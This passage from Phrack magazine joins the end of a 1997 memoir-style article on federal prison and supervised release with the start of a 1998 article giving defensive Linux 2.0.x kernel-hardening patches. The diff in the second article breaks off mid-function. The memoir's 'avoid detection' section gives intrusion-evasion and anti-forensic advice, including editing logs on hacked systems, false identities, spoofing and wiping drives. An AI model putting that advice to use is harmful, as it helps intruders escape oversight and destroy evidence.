weeks. This means you can move into your own place, (if they approve it) but
still have to be in for the evenings. They check up on you by phone. And no,
you are not allowed call forwarding, silly rabbit.
M. SUPERVISED RELEASE
Just when you think the fun is all over, after you are released from
prison or the CCC, you will be required to report to a Probation Officer. For
the next 3 to 5 years you will be on Supervised Release. The government
abolished parole, thereby preventing convicts from getting out of prison early.
Despite this they still want to keep tabs on you for awhile.
Supervised Release, in my opinion, is nothing more than extended
punishment. You are a not a free man able to travel and work as you please.
All of your activities will have to be presented to your Probation Officer
(P.O.). And probation is essentially what Supervised Release is. Your P.O.
can violate you for any technical violations and send you back to prison for
several months, or over a year. If you have ANY history of drug use you will
be required to submit to random (weekly) urinalyses. If you come up dirty it's
back to the joint.
As a hacker you may find that your access to work with, or possession
of computer equipment may be restricted. While this may sound pragmatic to
the public, in practice it serves no other purpose that to punish and limit a
former hacker's ability to support himself. With computers at libraries, copy
shops, schools, and virtually everywhere, it's much like restricting someone
who used a car to get to and from a bank robbery to not ever drive again. If a
hacker is predisposed to hacking he's going to be able to do it with or
without restrictions. In reality many hackers don't even need a computer to
achieve their goals. As you probably know a phone and a little social
engineering go a long way.
But with any luck you will be assigned a reasonable P.O. and you will
stay out of trouble. If you give your P.O. no cause to keep an eye on you,
you may find the reins loosening up. You may also be able to have your
Supervised Release terminated early by the court. After a year or so, with
good cause, and all of your government debts paid, it might be plausible. Hire
an attorney, file a motion.
For many convicts Supervised Release is simply too much like being in
prison. For those it is best to violate, go back to prison for a few months,
and hope the judge terminates their Supervised Release. Although the judge
may continue your supervision, he/she typically will not.
PART III
A. HOW TO AVOID DETECTION
Now that you know what kind of trouble you are facing I'll go back to
the beginning. If what I've just covered doesn't make you want to stop
hacking then you had better learn how to protect yourself. Many hackers feel
they have some god given constitutional right to hack. Many don't believe it
should be illegal. Well, neurosis and personality disorders work in strange
ways. Regardless, I'll cover the topic of stealth. Please note that I in no
way advocate or encourage hacking. This technical information is being
provided for educational purposes only. And as I mentioned you may feel you
have a perfectly legitimate reason for avoiding detection, simply trying to
stay clear of other hackers would be an acceptable reason. This paper (I'm
sure) will also serve to educate law enforcement officials on the methods
currently being deployed by hackers to avoid detection.
Avoiding being identified while hacking is in actually a rather simple
feat, assuming you follow a few simple rules. Unfortunately, very few
people bother with them, due typically to arrogance and ego. Which as I have
noticed, seems to be a trait that is a prerequisite to being a successful
hacker. I've never met a hacker who didn't think he was the shit. And when
it gets right down to it that was the reason that Mitnick got caught. I'll
examine this incident a little later.
So I will list here a few of the basic rules I used, and then I'll
expound upon them a little later.
* Most important of all, I would never tell another hacker who I was,
where I lived, or give out my home phone number. (OK, I screwed up
on that one.)
* I didn't set up network access accounts up in my real name or use
my real address.
* I didn't set up phone numbers in my real name.
* I would never dial directly in to anything I was hacking.
* I would set up some kind of notification system that would let me
know if someone was trying to figure out where I was connecting from.
* I didn't transmit personal data on systems I had have hacked into.
* When I used a network or computer for work or social objectives, I
tried to keep it separate from my hacking.
* I never assumed that just by connecting through a bunch of different
networks or using cellular phones that I was safe. Even though most
cellular networks do not have triangulation equipment installed they
still have the ability to narrow a transmitting location down to a
square mile of even a few blocks, this even well after you have dis-
connected.
* The minute I got into a system I would examine and edit all of the
logs. I would also look for email daemons on admin or admin assoc-
iated accts. that sent out copies of the system security logs.
* When setting up accts. on systems I would use different login ID's.
* I never went to hacker cons. (Until I worked with the FBI)
* I would change network access dial up accts. and dial up numbers
every so often. I would also change living locations every 8-12
months.
* I would keep in mind that the numbers I dialed on my phone could
eventually be used to track me again. For example, if I called my
girl friend frequently, after I changed numbers and location I might
still be calling that number. The telcos now have toll record data
base software that can cross reference and track this type of thing.
* I rarely used IRC until I worked with the FBI. If -you- must, change
your handle frequently, remain in invisible mode, and if you're leet
enough, spoof your IP. Remember that you should never trust other
hackers. Many times association with them will cause you as much
trouble as a run in with the Feds.
And yes the FBI logs all of the IRC channels and searches them for key
words when they are looking for information on someone or some breech. There
is a secret logging program running on a special irc.server that doesn't
accept port 6667 connections, etc. Doesn't show up as a link either. Hmm. ;-)
Following all of those rules would be tough. The fact of the matter
is if you generate enough interest and piss off the right people, they will
come after you. However, the FBI routinely passes over low level hackers.
When I worked with the Bureau I was instructed that only the most malicious
and aggressive hackers where to be investigated. Fine with me, wasn't my goal
in life to put a bunch a little hacker dorks in jail. It's not real easy to
catch an accomplished hacker but it can be done, it's really just a matter of
contacting all of the right people and putting a little time into it.
Typically hackers get caught because someone snitched. Thus the importance of
my first rule, I never told anyone who I really was. The other primary reason
for getting caught is arrogance or underestimating the abilities of the
authorities. Poulsen didn't believe an investigator would sit outside of a
grocery store for a week on the off chance he might show up. Poulsen had used
the pay phones at that store a few times, which was determined by a toll
record search. Mitnick didn't think someone would go through the trouble of
doing toll searches on cell phone records then radio frequency triangulating
his location.
Poulsen and I went through some rather elaborate anti-detection
procedures. Since I had physical access to my local telco Central Office I
would activate, connect, and wire all of my own phone services. There was
essentially no record of my phone number or cable and pair data. In addition,
I ran the wires going into my apartment through a trash chute, over the roof
covered by tar, and down a vent pipe into my bathroom. The connection to the
bridging terminal (F2) was through a hole drilled into the back of the
junction box. Examination of the telephone box in the basement of my building
revealed no connections, you would have had to take the box apart to see it.
And if that wasn't enough over at the C.O. I tapped on to the output channel
(SC1, which was the feed to SCCS) of the 1AESS telephone switch and ran it up
to my apartment. There I had an old PC-XT with a Bell 202 modem watching the
1AESS output. Poulsen wrote a small basic program that looked for call traces
and any other suspicious activity. The XT would start beeping and print out
any of those output messages. Elaborate indeed.
B. THE STEALTH BOX
But a truly good anti-detection system would notify you absolutely if
someone was attempting to trace your connection. In addition, it would
terminate the connection before it allowed someone to see where it was going.
What I am suggesting is some type of dial in/dial out mechanism. For example,
2 modems connected back to back, with their 232 ports connected. They would
then be placed in a generic wall mounted box in anonymous phone closet
somewhere. In addition, a stun gun would be wired to give the modems a death
shock if the box was opened by an unauthorized person. A password would be
set on the modem for dial out and the phone lines feeding the two modems would
have to be set up under separate accounts. This would require anyone
investigating, to come out and take a gander at this device to determine that,
it's not the location of the hacker, and that yet another call trace is in
order to see who is dialing in. However, having opened the box the
investigator has disabled the device and when you dial in you'll know that
something is up. Even if they attempt to replace the device, they could never
know the original password, or even if there was one. It would be further
advisable to disguise the telephone lines feeding the device, making it
necessary to open the box to identify them.
Well that's just an idea for the design of an anti-detection device.
It's obviously a bit complex, but you get the idea. My point being that
avoiding detection is not a simple task. If someone wants you they can get
you. There really isn't such a thing as a secure connection; virtually
everything can be traced, short of a highly directional data burst satellite
uplink. At that point the Air Force National Reconnaissance Office (NRO) or
the NSA would have to get involved, big bucks.
Aside from setting up physical hardware another idea would be to find
a Sysadmin that will let you use his system to connect through. If you trust
him to tell you if there has been an inquiry regarding your connection then
you might be OK. It would also be wise to set up background processes that
monitor finger and other related probes of your account. Watch them watch you.
As I mentioned earlier if you fall under surveillance there will be
2-way radio traffic in your vicinity. Using the Opto-Electronics Explorer
will detect this and you can further investigate to see who it may be. Good
physical surveillance is difficult to detect. Bad physical surveillance is
comical.
C. MORE PROTECTION
I covered encryption earlier and as I mentioned it really is not safe
to assume that it will protect you from someone who takes possession of your
computer. The only truly safe encryption would be a military spec.
hardware/software implementation. When people talk about secure encryption
they are not taking into account that all the power of a Government might be
trying to crack it, and that they will have physical access to the encryption
device, your computer! This leaves us with one other method, destroying the
data. Now this in and of it's self can be construed as obstruction of
justice. However, should you feel the need to instantly destroy all of the
data on your hard drive, for oh.. lets say educational purposes. I would
suggest mounting a bulk magnetic tape eraser next to your hard drive. You can
pick one up at Radio Hack, err Shack. One flip of the panic switch, thus
powering up the eraser while the drive is turning, and ZAP! Mount a switch
next to your bed. ;-)
This may or may not destroy all of the data on your drive. If the
drive disk is removed and placed on a special reader some data may still be
recovered. This is a science in itself. DOD spec. requires that a hard drive
be written to with O's 7 times before it is considered erased. Simply erasing
a file, formatting, or defragging will not suffice. Look for a shareware
utility named "BCwipe". This will erase to military spec. You may also want
to install some type of program that auto erases under certain conditions.
Regardless, computer specialists that work with computer crime are trained to
look for this.
There are still a lot of issues that could be covered with respect to
avoiding detection and keeping clear of hackers. In fact I could fill a book,
and in retrospect I probably should have. But I told a lot of people I would
write this file and make it public. Hope you found it of some assistance.
CLOSURE
What a long strange trip it's been. I have a great deal of mixed
emotions about my whole ordeal. I can however, say that I HAVE benefited
from my incarceration. However, it certainly was not on the behalf of how I
was handled by the government. No, despite their efforts to kick me when I
was down, use me, turn their backs after I had assisted them, and in general,
just violate my rights, I was still able to emerge better educated than when I
went in. But frankly, my release from prison was just in the nick of time.
The long term effects of incarceration and stress were creeping up on me, and
I could see prison conditions were worsening. It's hard to express the
poignancy of the situation but the majority of those incarcerated feel that if
drastic changes are not made America is due for some serious turmoil, perhaps
even a civil war. Yes, the criminal justice system is that screwed up. The
Nation's thirst for vengeance on criminals is leading us into a vicious
feedback loop of crime and punishment, and once again crime. Quite simply,
the system is not working. My purpose in writing this article was not to send
any kind of message. I'm not telling you how not to get caught and I'm not
telling you to stop hacking. I wrote this simply because I feel like I owe it
to whomever might get use of it. For some strange reason I am oddly compelled
to tell you what happened to me. Perhaps this is some kind or therapy,
perhaps it's just my ego, perhaps I just want to help some poor 18 year old
hacker who really doesn't know what he is getting himself in to. Whatever the
reason, I just sat down one day and started writing.
If there is a central theme to this article it would be how ugly your
world can become. Once you get grabbed by the law, sucked into their vacuum,
and they shine the spotlight on you, there will be little you can do to
protect yourself. The vultures and predators will try to pick what they can
off of you. It's open season for the U.S. Attorneys, your attorney, other
inmates, and prison officials. You become fair game. Defending yourself from
all of these forces will require all of your wits, all of your resources, and
occasionally your fists.
Furthering the humiliation, the press, as a general rule, will not be
concerned with presenting the truth. They will print what suits them and
often omit many relevant facts. If you have read any of the 5 books I am
covered in you will no doubt have a rather jaded opinion of me. Let me assure
you that if you met me today you would quickly see that I am quite likable and
not the villain many (especially Jon Littman) have made me out to be. You may
not agree with how I lived my life, but you wouldn't have any trouble
understanding why I chose to live it that way. Granted I've made my mistakes,
growing up has been a long road for me. Nevertheless, I have no shortage of
good friends. Friends that I am immensely loyal to. But if you believe
everything you read you'd have the impression that Mitnick is a vindictive
loser, Poulsen a furtive stalker, and I a two faced rat. All of those
assessments would be incorrect.
So much for first impressions. I just hope I was able to enlighten
you and in some way to help you make the right choice. Whether it's
protecting yourself from what could be a traumatic life altering experience,
or compelling you to focus your computer skills on other avenues, it's
important for you to know the program, the language, and the rules.
See you in the movies.
Agent Steal
1997
----[ EOF
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 06 of 20
-------------------------[ Hardening the Linux Kernel (series 2.0.x)
--------[ route|daemon9
----[ Introduction and Impetus
Linux. The cutest Unix-like O/S alive today. Everyone knows at least
*one* person who has at least *one* Linux machine. Linux, whatever your
opinion of it, is out there, and is being used by more and more people. Many
of the people using Linux are using it in multi-user environments. All of a
sudden they find security to be a big issue. This article is for those people.
This article covers a few areas of potential insecurity in the Linux O/S
and attempts to improve upon them. It contains several security related
kernel patches for the 2.0.x kernels (each has been tested successfully on the
2.0.3x kernels and most should work on older 2.0.x kernels; see each
subsection for more info).
These are kernel patches. They do nothing for user-land security. If you
can not set permissions and configure services correctly, you should not be
running a Unix machine.
These patches are not bugfixes. They are preventative security fixes.
They are intended to prevent possible problems and breaches of security from
occurring. In some cases they can remove (or at least severely complicate) the
threat of many of today's most popular methods of attack.
These patches are not really useful on a single-user machine. They are
really intended for a multi-user box.
This article is for those of you who want better security out of your Linux
O/S. If you want to go a bit further, look into the POSIX.1e (POSIX 6) stuff.
POSIX.1e is a security model that basically separates identity and privilege.
Effectively, it splits superuser privileges into different `capabilities`.
Additionally, the Linux POSIX.1e (linux-privs) implementation offers a bitmapped
securelevel, kernel-based auditing (userland audit hooks are being developed),
and ACLs. See: http://parc.power.net/morgan/Orange-Linux/linux-privs/index.html
To sum it up, in this article, we explore a few ways to make the multi-user
Linux machine a bit more secure and resilient to attack.
----[ The Patches
procfs patch
------------
Tested on: 2.0.0 +
Author: route
Why should we allow anyone to be able to view info on any process?
Normally, /bin/ps can show process listing for every process in the
kernel's process table, regardless of ownership. A non-privileged user can
see all the running processes on a system. This can include information that
could be used in some forms of known / guessed PID-based attacks, not to
mention the obvious lack of privacy. /bin/ps gets this process information by
reading the /proc filesystem.
The /proc filesystem is a virtual filesystem interface into the O/S which
provides all kinds of good information including the status of various
portions of the running kernel and a list of currently running processes. It
has a filesystem interface, which means it has file-system-like access
controls. As such, we can change the default access permissions on the inode
from 555 to 500.
And that's the patch. We just change the permissions on the inode from
S_IFDIR | S_IRUGO | S_IXUGO to S_IFDIR | S_IRUSR | S_IXUSR.
trusted path execution patch
----------------------------
Tested on: 2.0.0 +
Author: route (2.0.x version, original 1.x patch by merc)
Why should we allow arbitrary programs execution rights?
Consider this scenario: You are the administrator of a multi-user Linux
machine. All of a sudden there is a new bug in the Pentium(tm) processor!
As it happens, this bug causes the CPU to lock up entirely, requiring a cold
reboot. This bug is also exploitable by any user regardless of privilege. All
it necessitates is for the malevolent user to 1) get the source, 2) compile the
exploit, and 3) execute the program.
Whelp... 1) has happened. You cannot prevent anyone from getting it. It's
out there. You could remove permissions from the compiler on your machine or
remove the binary entirely, but this does not stop the user from compiling
the exploit elsewhere, and getting the binary on your machine somehow. You
cannot prevent 2) either. However, if you only allow binaries to be executed
from a trusted path, you can prevent 3) from happening. A trusted path is
one that is inside is a root owned directory that is not group or world
writable. /bin, /usr/bin, /usr/local/bin, are (under normal circumstances)
considered trusted. Any non-root users home directory is not trusted, nor is
/tmp. Be warned: This patch is a major annoyance to users who like to execute
code and scripts from their home directories! It will make you extremely
un-popular as far as these people are concerned. It will also let you sleep
easier at night knowing that no unscrupulous persons will be executing
malicious bits of code on your machine.
Before any call to exec is allowed to run, we open the inode of the
directory that the executable lives in and check ownership and permissions.
If the directory is not owned by root, or is writable to group or other, we
consider that untrusted.
securelevel patch
-----------------
Tested on: 2.0.26 +
Author: route
Damnit, if I set the immutable and append only bits, I did it for a reason.
This patch isn't really much of a patch. It simply bumps the securelevel
up, to 1 from 0. This freezes the immutable and append-only bits on files,
keeping anyone from changing them (from the normal chattr interface). Before
turning this on, you should of course make certain key files immutable, and
logfiles append-only. It is still possible to open the raw disk device,
however. Your average cut and paste hacker will probably not know how to do
this.
stack execution disabling patch and symlink patch
-------------------------------
Tested on: 2.0.30 +
Author: solar designer
From the documentation accompanying SD's patch:
This patch is intended to add protection against two classes of security
holes: buffer overflows and symlinks in /tmp.
Most buffer overflow exploits are based on overwriting a function's return
address on the stack to point to some arbitrary code, which is also put
onto the stack. If the stack area is non-executable, buffer overflow
vulnerabilities become harder to exploit.
Another way to exploit a buffer overflow is to point the return address to
a function in libc, usually system(). This patch also changes the default
address that shared libraries are mmap()ed at to make it always contain a
zero byte. This makes it impossible to specify any more data (parameters
to the function, or more copies of the return address when filling with a
pattern) in an exploit that has to do with ASCIIZ strings (this is the
case for most overflow vulnerabilities).
However, note that this patch is by no means a complete solution, it just
adds an extra layer of security. Some buffer overflow vulnerabilities will
still remain exploitable a more complicated way. The reason for using such
a patch is to protect against some of the buffer overflow vulnerabilities
that are yet unknown.
In this version of my patch I also added a symlink security fix, originally
by Andrew Tridgell. I changed it to prevent from using hard links too, by
simply not allowing non-root users to create hard links to files they don't
own, in +t directories. This seems to be the desired behavior anyway, since
otherwise users couldn't remove such links they just created. I also added
exploit attempt logging, this code is shared with the non-executable stack
stuff, and was the reason to make it a single patch instead of two separate
ones. You can enable them separately anyway.
GID split privilege patch
-------------------------------
Tested on: 2.0.30 +
Author: Original version DaveG, updated for 2.0.33 by route
From the documentation accompanying Dave's original patch:
This is a simple kernel patch that allows you to perform certain
privileged operations with out requiring root access. With this patch
three groups become privileged groups allowed to do different operations
within the kernel.
GID 16 : a program running with group 16 privileges can bind to a
< 1024. This allows programs like: rlogin, rcp, rsh, and ssh
to run setgid 16 instead of setuid 0(root). This also allows
servers that need to run as root to bind to a privileged port
like named, to also run setgid 16.
GID 17 : any program running under GID 17 privileges will be able to
create a raw socket. Programs like ping and traceroute can now
be made to run setgid 17 instead of setuid 0(root).
GID 18 : This group is for SOCK_PACKET. This isn't useful for most people,
so if you don't know what it is, don't worry about it.
Limitations
-----------
Since this is a simple patch, it is VERY limited. First of all, there
is no support for supplementary groups. This means that you can't stack
these privileges. If you need GID 16 and 17, there isn't much you can do
about it.
----[ Installation
This patchfile has been tested and verified to work against the latest
stable release of the linux kernel (as of this writing, 2.0.33). It should
work against other 2.0.x releases as well with little or no modification. THIS
IS NOT A GUARANTEE! Please do not send me your failed patch logs from older
kernels. Take this as a perfect opportunity to upgrade your kernel to the
latest release. Note that several of these patches are for X86-Linux only.
Sorry.
1. Create the symlink:
`cd /usr/src`
`ln -s linux-KERNEL_VERSION linux-stock`
2. Apply the kernel patch:
`patch < slinux.patch >& patch.err`
2a. Examine the error file for any failed hunks. Figure where you went wrong
in life:
`grep fail patch.err`
3. Configure your kernel:
`make config` OR `make menu-config` OR `make xconfig`
4. You will need to enable prompting for experimental code in your kernel and
turn on the patches individually.
5. To configure the split GID privilege patch, add the follow to your
/etc/group file:
`cat >> /etc/group`
priv_port::16:user1, user2, user3
raw_sock::17:user1, user2
sock_pak::18:user2, user3
^D
Where `userx` are the usernames of the users you wish to give these
permissions to. Next, fix the corresponding group and permissions on the
binaries you wish to strip root privileges from:
`chgrp raw_sock /bin/ping`
`chmod 2755 /bin/ping`
----[ The patchfile
This patchfile should be extracted with the Phrack Magazine Extraction
Utility included in this (and every) issue.
slinux.patch
diff -ru linux-stock/Documentation/Configure.help linux-patched/Documentation/Configure.help
--- linux-stock/Documentation/Configure.help Fri Sep 5 20:43:58 1997
+++ linux-patched/Documentation/Configure.help Mon Nov 10 22:02:36 1997
@@ -720,6 +720,77 @@
later load the module when you install the JDK or find an interesting
Java program that you can't live without.
+Non-executable user stack area (EXPERIMENTAL)
+CONFIG_STACKEXEC
+ Most buffer overflow exploits are based on overwriting a function's
+ return address on the stack to point to some arbitrary code, which is
+ also put onto the stack. If the stack area is non-executable, buffer
+ overflow vulnerabilities become harder to exploit. However, a few
+ programs depend on the stack being executable, and might stop working
+ unless you also enable GCC trampolines autodetection below, or enable
+ the stack area execution permission for every such program separately
+ using chstk.c. If you don't know what all this is about, or don't care
+ about security that much, say N.
+
+Autodetect GCC trampolines
+CONFIG_STACKEXEC_AUTOENABLE
+ GCC generates trampolines on the stack to correctly pass control to
+ nested functions when calling from outside. This requires the stack
+ being executable. When this option is enabled, programs containing
+ trampolines will automatically get their stack area executable when
+ a trampoline is found. However, in some cases this autodetection can
+ be fooled in a buffer overflow exploit, so it is more secure to
+ disable this option and use chstk.c to enable the stack area execution
+ permission for every such program separately. If you're too lazy,
+ answer Y.
+
+Log buffer overflow exploit attempts
+CONFIG_STACKEXEC_LOG
+ This option enables logging of buffer overflow exploit attempts. No
+ more than one attempt per minute is logged, so this is safe. Say Y.
+
+Process table viewing restriction (EXPERIMENTAL)
+CONFIG_PROC_RESTRICT
+ This option enables process table viewing restriction. Users will only
+ be able to get status of processes they own, with the exception the
+ root user, who can get an entire process table listing. This patch
+ should not cause any problems with other programs but it is not fully
+ tested under every possible contingency. You must enable the /proc
+ filesystem for this option to be of any use. If you run a multi-user
+ system and are reasonably concerned with privacy and/or security, say Y.
+
+Trusted path execution (EXPERIMENTAL)
+CONFIG_TPE
+ This option enables trusted path execution. Binaries are considered
+ `trusted` if they live in a root owned directory that is not group or
+ world writable. If an attempt is made to execute a program from a non
+ trusted directory, it will simply not be allowed to run. This is
+ quite useful on a multi-user system where security is an issue. Users
+ will not be able to compile and execute arbitrary programs (read: evil)
+ from their home directories, as these directories are not trusted.
+ This option is useless on a single user machine.
+
+Trusted path execution (EXPERIMENTAL)
+CONFIG_TPE_LOG
+ This option enables logging of execution attempts from non-trusted
+ paths.
+
+Secure mode (EXPERIMENTAL)
+CONFIG_SECURE_ON
+ This bumps up the securelevel from 0 to 1. When the securelevel is `on`,
+ immutable and append-only bits cannot be set or cleared. If you are not
+ concerned with security, you can say `N`.
+
+Split Network Groups (EXPERIMENTAL)
+CONFIG_SPLIT_GID
+ This is a simple kernel patch that allows you to perform certain
+ privileged operations with out requiring root access. With this patch
+ three groups become privileged groups allowed to do different operations
+ within the kernel.
+ GID 16 allows programs to bind to privledged ports.
+ GID 17 allows programs to open raw sockets.
+ GID 18 allows programs to open sock packets.
+
Processor type
CONFIG_M386
This is the processor type of your CPU. It is used for optimizing
@@ -2951,6 +3020,27 @@
netatalk, new mars-nwe and other file servers. At the time of
writing none of these are available. So it's safest to say N here
unless you really know that you need this feature.
+
+Symlink security fix (EXPERIMENTAL)
+CONFIG_SYMLINK_FIX
+ A very common class of security hole on UNIX-like systems involves
+ a malicious user creating a symbolic link in /tmp pointing at
+ another user's file. When the victim then writes to that file they
+ inadvertently write to the wrong file. Enabling this option fixes
+ this class of hole by preventing a process from following a link
+ which is in a +t directory unless they own the link. However, this
+ fix does not affect links owned by root, since these could only be
+ created by someone having root access already. To prevent someone
+ from using a hard link instead, this fix does not allow non-root
+ users to create hard links in a +t directory to files they don't
+ own. Note that this fix might break things. Only say Y if security
+ is more important.
+
+Log symlink exploit attempts
+CONFIG_SYMLINK_LOG
+ This option enables logging of symlink (and hard link) exploit
+ attempts. No more than one attempt per minute is logged, so this is
+ safe. Say Y.
Minix fs support
CONFIG_MINIX_FS
diff -ru linux-stock/arch/i386/config.in linux-patched/arch/i386/config.in
--- linux-stock/arch/i386/config.in Sun May 12 21:17:23 1996
+++ linux-patched/arch/i386/config.in Sun Nov 9 12:38:27 1997
@@ -35,6 +35,15 @@
tristate 'Kernel support for ELF binaries' CONFIG_BINFMT_ELF
if [ "$CONFIG_EXPERIMENTAL" = "y" ]; then
tristate 'Kernel support for JAVA binaries' CONFIG_BINFMT_JAVA
+ bool 'Non-executable user stack area (EXPERIMENTAL)' CONFIG_STACKEXEC
+ if [ "$CONFIG_STACKEXEC" = "y" ]; then
+ bool ' Autodetect GCC trampolines' CONFIG_STACKEXEC_AUTOENABLE
+ bool ' Log buffer overflow exploit attempts' CONFIG_STACKEXEC_LOG
+ fi
+ bool ' Restrict process table viewing (EXPERIMENTAL)' CONFIG_PROC_RESTRICT
+ bool ' Trusted path execution (EXPERIMENTAL)' CONFIG_TPE
+ bool ' Log untrusted path execution attempts (EXPERIMENTAL)' CONFIG_TPE_LOG
+ bool ' Split Network GIDs (EXPERIMENTAL)' CONFIG_SPLIT_GID
fi
bool 'Compile kernel as ELF - if your GCC is ELF-GCC' CONFIG_KERNEL_ELF
diff -ru linux-stock/arch/i386/defconfig linux-patched/arch/i386/defconfig
--- linux-stock/arch/i386/defconfig Mon Sep 22 13:44:01 1997
+++ linux-patched/arch/i386/defconfig Sun Nov 9 12:38:23 1997
@@ -24,6 +24,10 @@
CONFIG_SYSVIPC=y
CONFIG_BINFMT_AOUT=y
CONFIG_BINFMT_ELF=y
+# CONFIG_STACKEXEC is not set
+CONFIG_STACKEXEC_AUTOENABLE=y
+CONFIG_STACKEXEC_LOG=y
+CONFIG_SPLIT_GID=y
CONFIG_KERNEL_ELF=y
# CONFIG_M386 is not set
# CONFIG_M486 is not set
@@ -134,6 +138,8 @@
# Filesystems
#
# CONFIG_QUOTA is not set
+# CONFIG_SYMLINK_FIX is not set
+CONFIG_SYMLINK_LOG=y
CONFIG_MINIX_FS=y
# CONFIG_EXT_FS is not set
CONFIG_EXT2_FS=y
@@ -143,6 +149,9 @@
# CONFIG_VFAT_FS is not set
# CONFIG_UMSDOS_FS is not set
CONFIG_PROC_FS=y
+CONFIG_PROC_RESTRICT=y
+CONFIG_TPE=y
+CONFIG_TPE_LOG=y
CONFIG_NFS_FS=y
# CONFIG_ROOT_NFS is not set
# CONFIG_SMB_FS is not set
diff -ru linux-stock/arch/i386/kernel/head.S linux-patched/arch/i386/kernel/head.S
--- linux-stock/arch/i386/kernel/head.S Tue Aug 5 09:19:53 1997
+++ linux-patched/arch/i386/kernel/head.S Sun Nov 9 00:55:50 1997
@@ -400,10 +400,17 @@
.quad 0x0000000000000000 /* not used */
.quad 0xc0c39a000000ffff /* 0x10 kernel 1GB code at 0xC0000000 */
.quad 0xc0c392000000ffff /* 0x18 kernel 1GB data at 0xC0000000 */
+#ifdef CONFIG_STACKEXEC
+ .quad 0x00cafa000000ffff /* 0x23 user 2.75GB code at 0 */
+ .quad 0x00cbf2000000ffff /* 0x2b user 3GB data at 0 */
+ .quad 0x00cbda000000ffff /* 0x32 user 3GB code at 0, DPL=2 */
+ .quad 0x00cbd2000000ffff /* 0x3a user 3GB stack at 0, DPL=2 */
+#else
.quad 0x00cbfa000000ffff /* 0x23 user 3GB code at 0x00000000 */
.quad 0x00cbf2000000ffff /* 0x2b user 3GB data at 0x00000000 */
.quad 0x0000000000000000 /* not used */
.quad 0x0000000000000000 /* not used */
+#endif
.fill 2*NR_TASKS,8,0 /* space for LDT's and TSS's etc */
#ifdef CONFIG_APM
.quad 0x00c09a0000000000 /* APM CS code */
diff -ru linux-stock/arch/i386/kernel/ptrace.c linux-patched/arch/i386/kernel/ptrace.c
--- linux-stock/arch/i386/kernel/ptrace.c Mon Aug 4 12:12:22 1997
+++ linux-patched/arch/i386/kernel/ptrace.c Sun Nov 9 00:55:50 1997
@@ -413,7 +413,7 @@
addr == FS || addr == GS ||
addr == CS || addr == SS) {
data &= 0xffff;
- if (data && (data & 3) != 3)
+ if (data && (data & 3) < 2)
return -EIO;
}
if (addr == EFL) { /* flags. */
@@ -423,6 +423,10 @@
/* Do not allow the user to set the debug register for kernel
address space */
if(addr < 17){
+ if (addr == EIP && (data & 0xF0000000) == 0xB0000000)
+ if (put_stack_long(child, CS*sizeof(long)-MAGICNUMBER, USER_HUGE_CS) ||
+ put_stack_long(child, SS*sizeof(long)-MAGICNUMBER, USER_HUGE_SS))
+ return -EIO;
if (put_stack_long(child, sizeof(long)*addr-MAGICNUMBER, data))
return -EIO;
return 0;
diff -ru linux-stock/arch/i386/kernel/signal.c linux-patched/arch/i386/kernel/signal.c
--- linux-stock/arch/i386/kernel/signal.c Mon Aug 4 12:12:51 1997
+++ linux-patched/arch/i386/kernel/signal.c Sun Nov 9 00:55:50 1997
@@ -83,10 +83,10 @@
#define COPY_SEG(x) \
if ( (context.x & 0xfffc) /* not a NULL selectors */ \
&& (context.x & 0x4) != 0x4 /* not a LDT selector */ \
- && (context.x & 3) != 3 /* not a RPL3 GDT selector */ \
+ && (context.x & 3) < 2 /* not a RPL3 or RPL2 GDT selector */ \
) goto badframe; COPY(x);
#define COPY_SEG_STRICT(x) \
-if (!(context.x & 0xfffc) || (context.x & 3) != 3) goto badframe; COPY(x);
+if (!(context.x & 0xfffc) || (context.x & 3) < 2) goto badframe; COPY(x);
struct sigcontext_struct context;
struct pt_regs * regs;
@@ -167,16 +167,20 @@
unsigned long * frame;
frame = (unsigned long *) regs->esp;
- if (regs->ss != USER_DS && sa->sa_restorer)
+ if (regs->ss != USER_DS && regs->ss != USER_HUGE_SS && sa->sa_restorer)
frame = (unsigned long *) sa->sa_restorer;
frame -= 64;
if (verify_area(VERIFY_WRITE,frame,64*4))
do_exit(SIGSEGV);
/* set up the "normal" stack seen by the signal handler (iBCS2) */
+#ifdef CONFIG_STACKEXEC
+ put_user((unsigned long)MAGIC_SIGRETURN, frame);
+#else
#define __CODE ((unsigned long)(frame+24))
#define CODE(x) ((unsigned long *) ((x)+__CODE))
put_user(__CODE,frame);
+#endif
if (current->exec_domain && current->exec_domain->signal_invmap)
put_user(current->exec_domain->signal_invmap[signr], frame+1);
else
@@ -204,19 +208,17 @@
/* non-iBCS2 extensions.. */
put_user(oldmask, frame+22);
put_user(current->tss.cr2, frame+23);
+#ifndef CONFIG_STACKEXEC
/* set up the return code... */
put_user(0x0000b858, CODE(0)); /* popl %eax ; movl $,%eax */
put_user(0x80cd0000, CODE(4)); /* int $0x80 */
put_user(__NR_sigreturn, CODE(2));
#undef __CODE
#undef CODE
+#endif
/* Set up registers for signal handler */
- regs->esp = (unsigned long) frame;
- regs->eip = (unsigned long) sa->sa_handler;
- regs->cs = USER_CS; regs->ss = USER_DS;
- regs->ds = USER_DS; regs->es = USER_DS;
- regs->gs = USER_DS; regs->fs = USER_DS;
+ start_thread(regs, (unsigned long)sa->sa_handler, (unsigned long)frame);
regs->eflags &= ~TF_MASK;
}
diff -ru linux-stock/arch/i386/kernel/traps.c linux-patched/arch/i386/kernel/traps.c
--- linux-stock/arch/i386/kernel/traps.c Mon Aug 11 13:37:24 1997
+++ linux-patched/arch/i386/kernel/traps.c Sun Nov 9 00:55:50 1997
@@ -117,7 +117,7 @@
esp = (unsigned long) &regs->esp;
ss = KERNEL_DS;
- if ((regs->eflags & VM_MASK) || (3 & regs->cs) == 3)
+ if ((regs->eflags & VM_MASK) || (3 & regs->cs) >= 2)
return;
if (regs->cs & 3) {
esp = regs->esp;
@@ -193,11 +193,82 @@
asmlinkage void do_general_protection(struct pt_regs * regs, long error_code)
{
+#ifdef CONFIG_STACKEXEC
+ unsigned long retaddr;
+#endif
+
if (regs->eflags & VM_MASK) {
handle_vm86_fault((struct vm86_regs *) regs, error_code);
return;
}
+
+#ifdef CONFIG_STACKEXEC
+/* Check if it was return from a signal handler */
+ if (regs->cs == USER_CS || regs->cs == USER_HUGE_CS)
+ if (get_seg_byte(USER_DS, (char *)regs->eip) == 0xC3)
+ if (!verify_area(VERIFY_READ, (void *)regs->esp, 4))
+ if ((retaddr = get_seg_long(USER_DS, (char *)regs->esp)) ==
+ MAGIC_SIGRETURN) {
+/*
+ * Call sys_sigreturn() to restore the context. It would definitely be better
+ * to convert sys_sigreturn() into an inline function accepting a pointer to
+ * pt_regs, making this faster...
+ */
